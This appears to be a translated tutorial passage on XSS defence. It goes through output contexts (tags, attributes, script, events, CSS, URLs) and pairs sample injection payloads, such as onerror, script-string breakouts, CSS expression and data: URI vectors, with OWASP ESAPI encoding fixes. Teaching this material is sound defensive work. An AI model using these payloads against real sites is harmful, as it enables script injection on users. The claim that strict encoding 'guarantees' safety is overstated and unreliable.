In order to better design XSS defense programs, we need to recognize the essential cause of XSS. The nature of XSS also is an HTML injection; the user’s data is part of the HTML code to be executed, thus mixing the original semantics, producing new semantics. If your site uses the MVC architecture, the XSS will occur in the View layer—producing application splicing variables to an HTML page. So the program is that the user submits the data for input checking, in fact, not where the real attack defense is. If you want to radically solve the problem of XSS, you can list all scenes where XSS possibly occurs and then solve them.
The variable $var will show the following user data; it will be filled into the HTML code. There may be the following scenario:
Output in HTML tags:
<a href=# >$var</a>
All output variables in the label can, if there is no treatment, lead to directly generating XSS. In this scenario, the use of XSS is to construct a <script> tag, or anyway generated script execution. For example,
<a href=# ><img src=# onerror=alert(1) /></a>
The defense method is to use the HtmlEncode for variables.
Output in HTML Attributes
<div id=”abc” name=”$var” ></div>
Similar to the output in HTML tags, the possible method of attack is
<div id="abc" name=""><script>alert(/xss/)</script><"" ></div>
The defense method also is to use the HtmlEncode.
OWASP ESAPI recommends a more stringent HtmlEncode: In addition to the letters, numbers and other special characters are encoded into the html entities:
String safe = ESAPI.encoder().encodeForHTMLAttribute( request. getParameter( "input" ) );
For this strict encoding, we can guarantee that there will be no security issues.
Output in <script> tag.
Output the <script> label; it should first ensure that the output variable is in quotation marks:
var x = "$var";
The attacker would need to close quotes, then XSS attacks can be implemented:
<script> var x = "";alert(/xss/);//"; </script>
Output in the Event
Output in the event is similar to output in the <script> label:
<a href=# onclick="funcA('$var')" >test</a>
Possible attack method:
<a href=# onclick="funcA('');alert(/xss/);//')" >test</a>
Output in CSS
Having formed XSS in the CSS, style and style attribute are very diverse; refer to the following XSS example:
-moz-binding: url("http://ha.ckers.org/xssmoz. xml#xss")
<XSS STYLE="behavior: url(xss.htc);">
<DIV STYLE="width: expression(alert('XSS'));">
So, in general, as far as possible, ban user-controllable variable output in <style> label and HTML tag style attribute and CSS files. If there must be such a demand, it is recommended to use the OWASP ESAPI encodeForCSS () function.
String safe = ESAPI.encoder().encodeForCSS( request. getParameter( "input" ) );
Output in Address
Output in address is more complicated. In general, in the URL path or search (parameters), the output can use URLEncode. The characters are converted to % HH by URLEncode, such as space is % 20 and < is % 3c.
<a href="http://www.evil.com/?test=$var" >test</a>
Possible attack method:
<a href="http://www.evil.com/?test=" onclick=alert(1)"" >test</a>
After URLEncode, it becomes
<a href="http://www.evil.com/?test=%22%20onclick%3balert%281%29%22" >test</a>
But there is another situation, that is, the whole URL can be completely controlled by users. The protocol and host of URL are not able to use URLEncode in this situation; otherwise, it will change the semantics of URL. A URL is composed as follows:
[Protocal] = “https://”
[Host] = “www.evil.com”
[Path] = “/a/b/c/test”
[Search] = “?abc=123″
[Hash] = “#ssss”
If you are using strict URLEncode functions in protocol host, the ://, ., etc. will be all coded away.
For the following output:
<a href="$var" >test</a>
the attacker may construct a pseudoprotocol to attack:
The DataURI pseudoprotocol is supported by Mozilla, to be able write a piece of code in the URL, such as the following example:
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTs8L3Njcml wdD4="> test</a>
The meaning of this code is that load-encoded base64 data with text/html format, actually after completion of loading, is
Clicking on the <a> label link will lead to executing the script.
Thus, it can be seen that there are many methods to execute the script if the user can fully control the URL. How to solve this situation? In general, if the variable is the entire URL, you should first check whether the variable begins with http (if not, then automatically add it), to ensure that there do not appear XSS attacks of pseudoprotocols:
<a href="$var" >test</a>
After this, applying URLEncode to variables can ensure that there will be no such XSS occurrence. There is an achievement of URLEncode in OWASP ESAPI (the API does not solve the problem of pseudoprotocols):
String safe = ESAPI.encoder().encodeForURL( request. getParameter( "input" ) );